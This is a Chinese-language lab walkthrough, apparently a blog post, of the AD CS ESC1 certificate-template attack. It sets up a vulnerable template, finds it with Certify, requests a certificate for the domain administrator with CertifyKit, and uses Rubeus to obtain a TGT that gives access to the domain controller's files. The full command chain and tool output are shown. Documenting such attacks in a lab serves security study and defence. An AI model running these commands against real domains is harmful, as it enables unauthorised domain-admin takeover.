简介:
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。
ESC1原理:
当证书模板允许指定subjectAltName时,就可以为另一个用户请求证书。如果EKU指定客户端身份验证或ANY,则可以将其用于特权升级。
ESC1利用条件:
ESC1要成功利用要满足以下几点(最主要是前3点)
1、需要有权限去注册证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启,也就是证书模板允许请求者在 CSR 中指定一个SAN(subjectAltName)
4、颁发 CA 授予低权限用户请求权限 (默认)
5、模板中 CA 管理员审批未启用 (默认)
6、模板中不需要授权的签名 (默认)
ESC1漏洞环境配置:
首先进入证书颁发机构
选中证书模板,右键管理
接着创建一个具有以上3个利用条件的证书模板
选中工作站身份验证
右键复制模板
模板命名为ESC1
扩展中的应用程序策略中加入客户端身份认证
接着在安全中加入注册权限
这里可以直接给Authenticated Users组或者domain users组赋予注册权限
使用者名称中选择在请求中提供
保存后,我们在证书颁发机构证书模板上右键颁发
这样,我们得ESC1漏洞环境就搭建完成了
ESC1漏洞复现:
这里用来检查证书配置需要用到一款工具Certify
https://github.com/GhostPack/Certify
编译完成后一般是一个exe和一个dll
把他传到域内机器上
执行命令
Certify.exe find /vulnerable
C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'
[*] Listing info about the Enterprise CA 'test-CA-CA'
Enterprise CA Name : test-CA-CA
DNS Hostname : CA.test.com
FullName : CA.test.com\test-CA-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_AD
VANCED
Cert SubjectName : CN=test-CA-CA, DC=test, DC=com
Cert Thumbprint : D4794268C1A11EB6877159494DBEDA10B660F003
Cert Serial : 23DF32EB2D08A38247F914CC783027BF
Cert Start Date : 2023/2/1 10:03:05
Cert End Date : 2028/2/1 10:13:04
Cert Chain : CN=test-CA-CA,DC=test,DC=com
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticat
ed UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators
S-1-5-32-544
Allow ManageCA, ManageCertificates TEST\Domain Admins
S-1-5-21-295968744-3078858767-2203154064-512
Allow ManageCA, ManageCertificates TEST\Enterprise Admins
S-1-5-21-295968744-3078858767-2203154064-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : CA.test.com\test-CA-CA
Template Name : ESC1
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : NONE
Authorized Signatures Required : 0
pkiextendedkeyusage : 客户端身份验证
mspki-certificate-application-policy : 客户端身份验证
Permissions
Enrollment Permissions
Enrollment Rights : NT AUTHORITY\Authenticated UsersS-1-5-11
TEST\Domain Admins S-1-5-21-295
968744-3078858767-2203154064-512
TEST\Domain Computers S-1-5-21-295
968744-3078858767-2203154064-515
TEST\Enterprise Admins S-1-5-21-295
968744-3078858767-2203154064-519
Object Control Permissions
Owner : TEST\Administrator S-1-5-21-295
968744-3078858767-2203154064-500
WriteOwner Principals : TEST\Administrator S-1-5-21-295
968744-3078858767-2203154064-500
TEST\Domain Admins S-1-5-21-295
968744-3078858767-2203154064-512
TEST\Enterprise Admins S-1-5-21-295
968744-3078858767-2203154064-519
WriteDacl Principals : TEST\Administrator S-1-5-21-295
968744-3078858767-2203154064-500
TEST\Domain Admins S-1-5-21-295
968744-3078858767-2203154064-512
TEST\Enterprise Admins S-1-5-21-295
968744-3078858767-2203154064-519
WriteProperty Principals : TEST\Administrator S-1-5-21-295
968744-3078858767-2203154064-500
TEST\Domain Admins S-1-5-21-295
968744-3078858767-2203154064-512
TEST\Enterprise Admins S-1-5-21-295
968744-3078858767-2203154064-519
Certify completed in 00:00:00.6992794
主要看这儿
三点全部满足,开始尝试利用
给域管administrator申请一个证书
Certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC1 /altname:administrator
但是编译出来的exe有点问题
重新找了个项目
https://github.com/Hagrid29/CertifyKit
原本以为是编译的有问题,最后发现是2012虚拟机系统有问题--
最后换了一台2016机器成功了
CertifyKit.exe request /ca:CA.test.com\test-CA-CA /template:ESC1 /altname:administrator
接着把pem格式的证书复制保存txt中,改名cert.pem
然后复制进kali中
接着转换格式
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
接着把pfx格式的证书重新拉进攻击机上,同时使用Rubeus工具获取tgt
https://github.com/GhostPack/Rubeus
在获取tgt之前,我们尝试访问域控上的文件,发现无法访问
使用Rubeus获取tgt(接下来重新搭建了一个相同的域环境重新做的--之前搭建的域环境系统镜像有问题)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.52.131 /ptt
这里遇到了一个报错
KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED
解决方法:
本地管理员权限,打开组策略gpedit.msc,计算机配置\Windows 设置\安全设置\本地策略\安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可
然后我重启完了还是不行--
然后等了一会又自己好了--就很无语
然后查询了下报错
最快的解决方法:
看了下别人的回答,应该是独立的证书服务器颁发的证书没受到域控制器信任
但是我这莫名其妙就好了。。。到底啥情况我也说不清--
反正是成功获取到了tgt
这时候已经可以访问域控的文件了
Comments NOTHING